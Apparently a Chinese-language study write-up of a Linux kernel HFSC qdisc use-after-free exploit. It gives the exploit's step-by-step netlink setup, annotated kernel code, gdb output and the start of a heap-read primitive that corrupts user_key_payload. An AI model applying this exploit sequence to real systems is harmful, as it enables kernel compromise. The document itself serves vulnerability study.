  • Flow2: hfsc_change_class() -> update_ed() -> eltree_update() -> eltree_remove() & eltree_insert()
// Flow1
static void init_ed(struct hfsc_class *cl, unsigned int next_len)
{
        /* Writeup note: Deleted code for clarity */
	eltree_insert(cl); 	// <---
}

// eltree_insert() —— 将`hfsc_class`对象插入到树中
static void eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node;
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right;
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible);
}

// Flow2
static inline void eltree_update(struct hfsc_class *cl)
{
	eltree_remove(cl); 	// <---
	eltree_insert(cl);
}

// eltree_remove() —— 从树中移除`hfsc_class`对象
static inline void eltree_remove(struct hfsc_class *cl)
{
	rb_erase(&cl->el_node, &cl->sched->eligible);
}

3-1. 总体思路

  • (1)假设我们有一个hfsc_class对象,称为A;

  • (2)代码流Flow1总是位于Flow2之前,所以,先调用init_ed()将A插入到红黑树;然后是代码流Flow2,调用update_ed()来修改A,先将A从红黑树中移除,然后再次插入到树中。?????代码流程,为什么先移除再插入 —— 应该是更新了其属性值,再次插入rb_tree中会进行调整。

  • (3)利用逻辑漏洞使Flow2发生在Flow1之前,也就是说,update_ed()init_ed()之前被调用,最终触发代码流eltree_remove() -> eltree_insert() -> eltree_insert(),触发代码参见exp中prepare_uaf()

  • 第一次调用eltree_insert():(A == cl)

    A->el_node->__rb_parent_color == (0 | RB_BLACK);
    A->el_node->rb_right == NULL;
    A->el_node->rb_left == NULL;
    cl->sched->eligible.rb_node == &(A->el_node);
    
  • 第二次调用eltree_insert()

    A->el_node->__rb_parent_color == &(A->el_node);
    A->el_node->rb_right == NULL;
    A->el_node->rb_left == &(A->el_node);
    cl->sched->eligible.rb_node == &(A->el_node);
    
  • 现在,删除A后,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node),实现代码参见exp中trigger_uaf()

3-2. prepare_uaf()

该函数有7个参数:

1. struct mnl_socket *route_socket : basically a netlink route socket.
2. int packet_socket : a packet socket created by `socket(AF_PACKET, SOCK_RAW, 0)`.
3. int ifindex : a dummy network interface index. This network interface must have mtu < IPV6_MIN_MTU
4. u32 qdisc_A_handle : handle for qdisc_A creation.
5. u32 qdisc_B_handle : handle for qdisc_B creation.
6. u32 qdisc_C_handle : handle for qdisc_C creation.
7. u32 classid_A : classid for an `hfsc_class` object.

(1)步骤1:创建 Qdisc_A [exploit.c#L979]

struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, &hfsc_qopt_A);

struct tc_hfsc_qopt {
	__u16	defcls;		/* default class */
};
  • 第1步之后,有如下:
    • Qdisc_A (root qdisc / handle: qdisc_A_handle / type: hfsc);
    • A root class (classid: qdisc_A_handle, type: hfsc_class);在创建hfsc qdisc的过程中,会调用hfsc_init_qdisc() 函数来自动创建该class;
    • 由于我们将 defcls 设置为0,可配置qdisc将packet路由到root class所链接的qdisc。

(2)步骤2:创建Qdisc_C [exploit.c#L989]

struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_A_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);

struct tc_fifo_qopt {
	__u32	limit;	/* Queue length: bytes for bfifo, packets for pfifo */
};
  • 第2步之后,有如下:
    • Qdisc_C (parent: Qdisc_A / handle: qdisc_C_handle / type: pfifo_head_drop);
    • Qdisc_C 设置为 sch->limit == 0
    • Qdisc_C 链接到 Qdisc_A 的 root class,由内核函数 hfsc_graft_class() 实现。

(3)步骤3:触发packet enqueue [exploit.c#L983]

trigger_qdisc_enqueue(packet_socket, ifindex);
  • 第3步的packet flow:hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_C)
  • 第3步之后,有如下:
    • Qdisc_A->q.qlen == 0
    • Qdisc_C->q.qlen == 1

(4)步骤4:删除Qdisc_C [exploit.c#L990]

delete_qdisc(route_socket, ifindex, qdisc_A_handle, qdisc_C_handle);
  • 第4步之后,有如下:
    • Qdisc_A->q.qlen == -1
    • 现在Qdisc_A队列中没有 packet
  • 代码过程hfsc_graft_class() -> qdisc_create_dflt() & qdisc_replace(),删除传入handle对应的Qdisc,新建一个类型为 “pfifo” 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen

(5)步骤5:创建 class_A 对象 [exploit.c#L992]

struct tc_service_curve rsc_A = { .m1 = 1 };
create_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);

struct tc_service_curve {
	__u32	m1;		/* slope of the first segment in bps */
	__u32	d;		/* x-projection of the first segment in us */
	__u32	m2;		/* slope of the second segment in bps */
};
  • 第5步之后,有如下:
    • class_A 对象 (classid: classid_A / type: hfsc_class / flags: HFSC_RSC)

(6)步骤6:创建Qdisc_B [exploit.c#L994]

struct tc_hfsc_qopt hfsc_qopt_B = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, classid_A, qdisc_B_handle, &hfsc_qopt_B);
  • 第6步之后,有如下:
    • Qdisc_B (parent: Qdisc_A, handle: qdisc_B_handle, type: hfsc) ????? 不是 Qdisc_A,而是 class_A
    • 和第1步一样,Qdisc_B有自己的root class
    • defcls设置为0,会导致Qdisc_B 将入队的packet路由到其root class所链接的qdisc
    • Qdisc_B 链接到 class_A 对象 (classid: classid_A)

(7)步骤7:创建 Qdisc_C [exploit.c#L995]

create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_B_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);
  • 第7步之后,有如下:
    • Qdisc_C (parent: Qdisc_B / handle: qdisc_C_handle / type: pfifo_head_drop)
    • Qdisc_C 设置为sch->limit == 0
    • Qdisc_C 链接到 Qdisc_B 的 root class

(8)步骤8:修改Qdisc_A route [exploit.c#L1003]

change_hfsc_qdisc_route(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, classid_A);

void change_hfsc_qdisc_route(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	u32 route_to_classid
)
{
	struct tc_hfsc_qopt hfsc_qopt = { .defcls = route_to_classid };
	change_hfsc_qdisc(route_socket, ifindex, tcm_parent, tcm_handle, &hfsc_qopt);
}
  • 第8步之后,有如下:
    • 修改Qdisc_A route,将入队的packet路由到class_A对象链接的qdisc。(将Qdisc_A的defcls设置为class_A,会导致Qdisc_A 将入队的packet路由到class_A所链接的qdisc;如果defcls设置为0,则将入队的packet路由到其root class所链接的qdisc)

(9)步骤9:触发packet入队 [exploit.c#L1004]

trigger_qdisc_enqueue(packet_socket, ifindex);
  • 第9步的 packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)
  • 第9步之后,有如下:Qdisc_C加1, QdiscA/Qdisc_B 不变。
    • Qdisc_A->q.qlen == -1
    • Qdisc_B->q.qlen == 0
    • Qdisc_C->q.qlen == 1

(10)步骤10:删除Qdisc_C [exploit.c#L1005]

delete_qdisc(route_socket, ifindex, qdisc_B_handle, qdisc_C_handle);
  • 第10步之后,有如下:删除Qdisc_C之后,会将父Qdisc_A / Qdisc_B 的qlen减去待删除Qdisc_C的qlen。(参见(4)删除Qdisc_C)
    • Qdisc_A->q.qlen == -2
    • Qdisc_B->q.qlen == -1

(11)步骤11:创建正常Qdisc_C [exploit.c#L1007]

pfifo_head_drop_qopt_C.limit = 0xFFFFFFFF;
create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_B_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);
  • 第11步之后,有如下:
    • Qdisc_C (parent: Qdisc_B / handle: qdisc_C_handle / type: pfifo_head_drop)
    • Qdisc_C 设置为 sch->limit == 0xFFFFFFFF

(12)步骤12:触发Flow2 [exploit.c#L1015]

change_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);

// `hfsc_change_class()` - 内核函数
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
		  struct nlattr **tca, unsigned long *arg,
		  struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl = (struct hfsc_class *)*arg; 		// cl - class_A
	...

	if (cl != NULL) {
		...
		sch_tree_lock(sch);
		old_flags = cl->cl_flags;

		if (rsc != NULL)
			hfsc_change_rsc(cl, rsc, cur_time);
		...
		if (cl->qdisc->q.qlen != 0) { 						// cl->qdisc == Qdisc_B / qlen == -1,可进入本分支。前面的步骤都是为了构造Qdisc_B->q.qlen == -1 ?????
			int len = qdisc_peek_len(cl->qdisc);

			if (cl->cl_flags & HFSC_RSC) {
				if (old_flags & HFSC_RSC)
					update_ed(cl, len); 					// <--- update_ed()
				else
					init_ed(cl, len);
			}
		}
		sch_tree_unlock(sch);

		return 0;
	}
	/* Writeup note: Deleted code for clarity */
}
  • cl 就是 class_A,第5步创建的;
  • cl->qdisc 就是 Qdisc_B
  • 重点!!!!!Qdisc_B->q.qlen == -1 => cl->qdisc->q.qlen != 0;这样才能触发Flow2,调用 update_ed()。若等于0则不存在packet,不能update。
  • 执行到update_ed()(按Flow2继续执行 - hfsc_change_class() -> update_ed() -> eltree_update() -> eltree_remove() & eltree_insert() )。

(13)步骤13:触发Flow1 [exploit.c#L1016]

trigger_qdisc_enqueue(packet_socket, ifindex);
trigger_qdisc_enqueue(packet_socket, ifindex);

第1次packet入队

  • 由于已设置sch->limit == 0xFFFFFFFF,packet入队过程会返回成功(NET_XMIT_SUCCESS);

  • 第1次调用trigger_qdisc_enqueue()时的packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)

  • 第1次调用trigger_qdisc_enqueue()后,有如下:

    • Qdisc_A->q.qlen == -1
    • Qdisc_B->q.qlen == 0
    • Qdisc_C->q.qlen == 1
  • 由于->enqueue()返回NET_XMIT_SUCCESS,就会调用->dequeue()

  • packet出队(调用完入队后,会跟着调用出队,见__dev_xmit_skb() -> dev_qdisc_enqueue() 入队 & __qdisc_run() 出队):由于Qdisc_B->q.qlen == 0,当出队流为 hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B) 时,出队流会停止(不会继续调用Qdisc_C->dequeue - qdisc_dequeue_head()函数,从hfsc_dequeue(Qdisc_B)就返回NULL),这样就可以保持预期的 rb_tree 结构;

    /*
    调用序列:
    - `__sock_sendmsg()` -> `sock_sendmsg_nosec()` -> `sock->ops->sendmsg` - `packet_sendmsg()` -> `packet_snd()` -> `packet_xmit()` -> `dev_queue_xmit()` -> `__dev_queue_xmit()` -> `__dev_xmit_skb()` (这里和入队enqueue都相同,都是发包触发)
    - -> `__qdisc_run()` -> `qdisc_restart()` -> `dequeue_skb()` -> `hfsc_dequeue()`
    */
    static struct sk_buff *
    hfsc_dequeue(struct Qdisc *sch)
    {
    	struct hfsc_sched *q = qdisc_priv(sch);
    	struct hfsc_class *cl;
    	struct sk_buff *skb;
    	u64 cur_time;
    	unsigned int next_len;
    	int realtime = 0;
      
    	if (sch->q.qlen == 0) 		// qlen 为0,则直接返回NULL
    		return NULL;
      
    	cur_time = psched_get_time();
      
    	cl = eltree_get_mindl(q, cur_time); 	// 在所有 eligible class 中选取 deadline 最小的 class
    	...
      
    	skb = qdisc_dequeue_peeked(cl->qdisc); 	// qdisc_dequeue_peeked() -> Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL
    	if (skb == NULL) {
    		qdisc_warn_nonwc("HFSC", cl->qdisc);
    		return NULL;
    	}
    	...
    	qdisc_bstats_update(sch, skb);
    	qdisc_qstats_backlog_dec(sch, skb);
    	sch->q.qlen--;
      
    	return skb;
    }
    

第2次packet入队

  • 第2次调用trigger_qdisc_enqueue(),会触发Flow1;

  • 第2次调用trigger_qdisc_enqueue() 时的 packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)

  • 看看 hfsc_enqueue() 内核函数:

    static int
    hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
    {
    	unsigned int len = qdisc_pkt_len(skb);
    	struct hfsc_class *cl;
    	int err;
    	bool first;
      
    	cl = hfsc_classify(skb, sch, &err); 		// cl = class_A
    	...
      
    	first = !cl->qdisc->q.qlen; 				// cl->qdisc = Qdisc_B / qlen == 0  =>  first = true
    	err = qdisc_enqueue(skb, cl->qdisc, to_free);
    	...
      
    	if (first) {
    		if (cl->cl_flags & HFSC_RSC)
    			init_ed(cl, len); 					// 满足条件 <--- init_ed()
    		...
    	}
      
    	sch->qstats.backlog += len;
    	sch->q.qlen++;
      
    	return NET_XMIT_SUCCESS;
    }
      
    static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
    				struct sk_buff **to_free)
    {
    	return sch->enqueue(skb, sch, to_free);
    }
    
  • 当调用hfsc_enqueue(Qdisc_A)时,cl 表示 class_A 对象,cl->qdisc表示Qdisc_B

  • Qdisc_B->q.qlen == 0 => first == true

  • 执行到 init_ed()(Flow1思路);

  • 这一步之后每个Qdisc的qlen值:

    • Qdisc_A->q.qlen == 0
    • Qdisc_B->q.qlen == 1
    • Qdisc_C->q.qlen == 2
  • 由于Qdisc_A->q.qlen == 0,这样执行到hfsc_dequeue(Qdisc_A)就提前返回NULL(不会继续调用hfsc_dequeue(Qdisc_B)Qdisc_C->dequeue()),并保持rb_tree结构受控。

调试与代码分析

断点设置

  • 快速断到第(12)步,在 hfsc_change_class() 下断,第2次停下就到了第12步(第1次是在(5)创建hfsc_class A)。
  • 第(13)步断点 hfsc_enqueue() & hfsc_dequeue()

第1次调用eltree_insert()

#define	RB_RED		0
#define	RB_BLACK	1

A->el_node->__rb_parent_color == (0 | RB_BLACK); 	// A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == NULL;
cl->sched->eligible.rb_node == &(A->el_node);

// 调试
gef> p cl
$27 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$30 = 0x1
gef> p cl->el_node->rb_right
$31 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$32 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->sched->eligible.rb_node
$33 = (struct rb_node *) 0xffff888104e554a0 		// 其实就指向 cl->el_node
    
// hfsc_class
struct hfsc_class {
    ...
    struct rb_node {
		long unsigned int  __rb_parent_color;                                    /*  0xa0   0x8 */
		struct rb_node *   rb_right;                                             /*  0xa8   0x8 */
		struct rb_node *   rb_left;                                              /*  0xb0   0x8 */
	} __attribute__((__aligned__(8)))el_node __attribute__((__aligned__(8))); /*  0xa0  0x18 */
    ...
}

第2次调用eltree_insert()

A->el_node->__rb_parent_color == &(A->el_node); 	// A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == &(A->el_node);
cl->sched->eligible.rb_node == &(A->el_node);

// 调试
gef> p cl
$34 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$36 = 0xffff888104e554a0
gef> p cl->el_node->rb_right
$37 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$38 = (struct rb_node *) 0xffff888104e554a0 	// cl->el_node
gef> p cl->sched->eligible.rb_node
$39 = (struct rb_node *) 0xffff888104e554a0
  • 现在,删除A后,sched->eligible.rb_node仍保留着悬垂指针,实现代码参见exp中trigger_uaf()

第2次调用eltree_insert()代码分析

static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node; 	// p = &(A->el_node)
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p; 									// parent = &(A->el_node)
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 						// p = cl->el_node->rb_right = NULL
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p); 	// cl->el_node->__rb_parent_color = parent = &(A->el_node);   cl->el_node->rb_left = cl->el_node->rb_right = NULL
	rb_insert_color(&cl->el_node, &cl->sched->eligible); 	// tools/lib/rbtree.c
}

3-3. trigger_uaf()

[exploit.c#L1020]

static inline void trigger_uaf(struct mnl_socket *route_socket, int ifindex, u32 hfsc_classid)
{
	delete_tclass(route_socket, ifindex, TC_H_MAJ(hfsc_classid), hfsc_classid);	
}

要想触发UAF,只需要删除class_A对象即可。trgger_uaf()执行过后,Qdisc_A->q.qlen == -1

此时,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node

调试与代码分析

操作标志:RTM_DELTCLASS

调用链:根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() —— 前面和分配Qdisc调用链一样
  • link->doit - tc_ctl_tclass() -> tclass_del_notify() -> cops->delete - hfsc_delete_class()

断点设置tc_ctl_tclass()

static int tclass_del_notify(struct net *net,
			     const struct Qdisc_class_ops *cops,
			     struct sk_buff *oskb, struct nlmsghdr *n,
			     struct Qdisc *q, unsigned long cl,
			     struct netlink_ext_ack *extack)
{ 	// cops - hfsc_class_ops // q - Qdisc_A  // cl - class_A
	u32 portid = oskb ? NETLINK_CB(oskb).portid : 0;
	struct sk_buff *skb;
	int err = 0;

	if (!cops->delete)
		return -EOPNOTSUPP;

	skb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);
	if (!skb)
		return -ENOBUFS;

	if (tc_fill_tclass(skb, q, cl, portid, n->nlmsg_seq, 0,
			   RTM_DELTCLASS, extack) < 0) {
		kfree_skb(skb);
		return -EINVAL;
	}

	err = cops->delete(q, cl, extack); 	// <--- hfsc_delete_class() 删除class_A
	if (err) {
		kfree_skb(skb);
		return err;
	}

	err = rtnetlink_send(skb, net, portid, RTNLGRP_TC, 	// 再次发包
			     n->nlmsg_flags & NLM_F_ECHO);
	return err;
}
// 删除 class_A 之后调试发现:el_node结构不变,`sched->eligible.rb_node`仍保留着悬垂指针
gef> p *(struct hfsc_class *) 0xffff888104e55400
    ...
  el_node = {
    __rb_parent_color = 0xffff888104e554a0,
    rb_right = 0x0 <fixed_percpu_data>,
    rb_left = 0xffff888104e554a0
  }
gef> p (*(struct hfsc_class *) 0xffff888104e55400)->sched->eligible.rb_node
$73 = (struct rb_node *) 0xffff888104e554a0 		// cl->sched->eligible.rb_node

3-4. 拓展-红黑树原理

红黑树特点:代码使用示例参见eltree_insert()

  • 时间复杂度:查找、插入、删除均为 O(log n)

  • 空间开销:每个节点只需3个指针(父指针与颜色共用存储)

  • 平衡性:最坏情况下,最长路径不超过最短路径的2倍

(1)核心规则

  1. 每个节点要么是红色,要么是黑色
  2. 根节点是黑色
  3. 所有叶子节点(NIL节点)都是黑色
  4. 红色节点的两个子节点都是黑色(不能有连续的红色节点)
  5. 从任一节点到其每个叶子的所有路径包含相同数量的黑色节点

(2)数据结构

struct rb_node {
    unsigned long  __rb_parent_color;  // 巧妙设计:同时存储父指针和颜色     __rb_parent_color使用最低位存储节点颜色(0=黑,1=红)
    struct rb_node *rb_right;
    struct rb_node *rb_left;
};

struct rb_root { 		// 根节点   hfsc_class->sched->eligible.rb_node 就是根节点,所有class存储同一个根节点,hfsc_class->el_node 就是当前节点 
    struct rb_node *rb_node;
};

(3)核心操作原理

插入操作void rb_insert_color(struct rb_node *node, struct rb_root *root)

  • 按照二叉搜索树规则插入新节点(初始为红色)
  • 重新平衡(fixup):
    • 情况1:插入节点是根 → 染黑
    • 情况2:父节点是黑 → 直接完成
    • 情况3:父节点和叔叔节点都是红 → 父叔染黑,祖父染红,继续向上处理
    • 情况4/5:父节点红,叔叔节点黑 → 通过旋转+染色恢复平衡
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
	    void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
	struct rb_node *parent = rb_red_parent(node), *gparent, *tmp; 	// parent 父节点

	while (true) {
		/*
		 * Loop invariant: node is red.
		 */
		if (unlikely(!parent)) { 					// [1] 插入节点是根 → 染黑
			rb_set_parent_color(node, NULL, RB_BLACK);
			break;
		}

		if(rb_is_black(parent)) 					// [2] 父节点是黑 → 直接完成
			break;

		gparent = rb_red_parent(parent); 	// gparent = (struct rb_node *)parent->__rb_parent_color 祖父节点

		tmp = gparent->rb_right; 			// tmp - 叔叔节点 or 父节点
		if (parent != tmp) {				// left - 父节点 / right - 叔叔节点tmp
			if (tmp && rb_is_red(tmp)) { 			// [3] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				/*
				 * Case 1 - node's uncle is red (color flips).
				 *
				 *       G            g
				 *      / \          / \
				 *     p   u  -->   P   U
				 *    /            /
				 *   n            n
				 *
				 * However, since g's parent might be red, and
				 * 4) does not allow this, we need to recurse
				 * at g.
				 */
				rb_set_parent_color(tmp, gparent, RB_BLACK);
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_right; 				// [4-1] 父红 叔叔黑,自己是右儿子 → 通过旋转+染色恢复平衡
			if (node == tmp) {
				/*
				 * Case 2 - node's uncle is black and node is
				 * the parent's right child (left rotate at parent).
				 *
				 *      G             G
				 *     / \           / \
				 *    p   U  -->    n   U
				 *     \           /
				 *      n         p
				 *
				 * This still leaves us in violation of 4), the
				 * continuation into Case 3 will fix that.
				 */
				tmp = node->rb_left;
				WRITE_ONCE(parent->rb_right, tmp);
				WRITE_ONCE(node->rb_left, parent);
				if (tmp)
					rb_set_parent_color(tmp, parent,
							    RB_BLACK);
				rb_set_parent_color(parent, node, RB_RED);
				augment_rotate(parent, node);
				parent = node;
				tmp = node->rb_right;
			}
												// [4-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			/*
			 * Case 3 - node's uncle is black and node is
			 * the parent's left child (right rotate at gparent).
			 *
			 *        G           P
			 *       / \         / \
			 *      p   U  -->  n   g
			 *     /                 \
			 *    n                   U
			 */
			WRITE_ONCE(gparent->rb_left, tmp); /* == parent->rb_right */
			WRITE_ONCE(parent->rb_right, gparent);
			if (tmp)
				rb_set_parent_color(tmp, gparent, RB_BLACK);
			__rb_rotate_set_parents(gparent, parent, root, RB_RED);
			augment_rotate(gparent, parent);
			break;
		} else { 						// right - 父节点 / left - 叔叔节点tmp
			tmp = gparent->rb_left;
			if (tmp && rb_is_red(tmp)) {		// [5] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				/* Case 1 - color flips */
				rb_set_parent_color(tmp, gparent, RB_BLACK);
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_left; 				// [6-1] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			if (node == tmp) {
				/* Case 2 - right rotate at parent */
				tmp = node->rb_right;
				WRITE_ONCE(parent->rb_left, tmp);
				WRITE_ONCE(node->rb_right, parent);
				if (tmp)
					rb_set_parent_color(tmp, parent,
							    RB_BLACK);
				rb_set_parent_color(parent, node, RB_RED);
				augment_rotate(parent, node);
				parent = node;
				tmp = node->rb_left;
			}
 												// [6-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			/* Case 3 - left rotate at gparent */
			WRITE_ONCE(gparent->rb_right, tmp); /* == parent->rb_left */
			WRITE_ONCE(parent->rb_left, gparent);
			if (tmp)
				rb_set_parent_color(tmp, gparent, RB_BLACK);
			__rb_rotate_set_parents(gparent, parent, root, RB_RED);
			augment_rotate(gparent, parent);
			break;
		}
	}
}

删除操作void rb_erase(struct rb_node *node, struct rb_root *root)

  • 实际删除节点(可能有替代节点)
  • 如果删除的是黑色节点,需要重新平衡:
    • 情况1:兄弟节点是红 → 旋转+染色转为其他情况
    • 情况2:兄弟节点黑,且兄弟的两个子节点都黑 → 兄弟染红,向上处理
    • 情况3:兄弟节点黑,兄弟左子红/右子黑 → 旋转调整
    • 情况4:兄弟节点黑,兄弟右子红 → 旋转+染色完成平衡

左旋转static void __rb_rotate_left(struct rb_node *node, struct rb_root *root)

  • 将节点的右子节点提升为新的父节点,原节点成为左子节点

右旋转static void __rb_rotate_right(struct rb_node *node, struct rb_root *root)

  • 将节点的左子节点提升为新的父节点,原节点成为右子节点

(4)实用宏和辅助函数

// 获取/设置颜色
#define rb_color(r)   ((r)->__rb_parent_color & 1)
#define rb_is_red(r)   (!rb_color(r))
#define rb_is_black(r) rb_color(r)

// 获取父节点
#define rb_parent(r) ((struct rb_node *)((r)->__rb_parent_color & ~3))

// 遍历宏
#define rb_first(root)  // 获取最小节点
#define rb_last(root)   // 获取最大节点
#define rb_next(node)   // 获取后继节点
#define rb_prev(node)   // 获取前驱节点

(5)net-sched节点更新代码

net-sched模块中负责更新节点的函数(进行节点插入操作)init_ed() -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert() 其中有两条路径会更新节点,将class自身插入到全局红黑树中。分别是在首次进行packet入队操作,或者修改class属性且packet队列长度不为0时。

  • hfsc_enqueue() -> init_ed() —— 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0
  • hfsc_change_class() -> init_ed() —— 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()

结构说明hfsc_class->sched->eligible 表示 rb_root 根节点(全局红黑树),所有class都存储同一个根节点,hfsc_class->el_node 表示当前节点。

4. 构造heap read

构造heap read需用到5个函数:

  • heap_read_primitive_init()
  • heap_read_primitive_setup_network_interfaces()
  • heap_read_primitive_build_primitive()
  • heap_read_primitive_trigger()
  • heap_read_primitive_reset()

4-1. 初始化

heap_read_primitive_init() - [exploit.c#L1025]

主要操作如下:

  • 创建 NETLINK_ROUTE socket; —— 用于设置sched策略
  • 创建 raw packet socket; —— 用于发包触发packet入队出队
  • 准备 3 个 qdisc handle 和 4 个 classid
  • 准备分配 struct user_key_payload 对象的参数

4-2. 设置网口

heap_read_primitive_setup_network_interfaces() - [exploit.c#L1077]

主要操作如下:

  • (1)创建一个dummy 假的网络接口,设置mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因如下:?????
    • ipv6_add_dev() -> timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)
    • addrconf_rs_timer() -> ndisc_send_rs() -> ndisc_send_skb()
    • ndisc_send_skb() 会导致packet被发送到网络接口并触发 sch->enqueue(),这会使调度器构造过程混乱,影响漏洞触发。
  • (2)设置dummy假网口的状态为开启。

4-3. 构造heap read

思路:利用class->el_node的node插入机制来篡改user_key_payload->datalen,以构造越界读写。

heap_read_primitive_build_primitive() - [exploit.c#L1089]

(1)触发UAF

[exploit.c#L1095]

prepare_uaf(
	heap_read_primitive->route_socket,
	heap_read_primitive->raw_packet_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_qdisc_B_handle,
	heap_read_primitive->rb_tree_interface_qdisc_C_handle,
	heap_read_primitive->rb_tree_interface_classid_A
);

trigger_uaf(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_classid_A
);

内核函数eltree_insert()

static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node; 	// dangling pointer -> struct rb_node (hfsc_class->el_node) 		UAF对象 - hfsc_class
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 				// 利用时一直选取 rb_right
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible);
}
  • 悬垂指针:是cl->sched->eligible.rb_node,其type为struct rb_node;指向struct hfsc_class对象的el_node成员;
  • 标记
    • 标记struct rb_node对象为 UAF_rb_node; 属于漏洞对象struct hfsc_class的成员。
    • 漏洞对象:标记struct hfsc_class对象为 UAF_hfsc_class - class_Astruct hfsc_class对象位于kmalloc-1024;
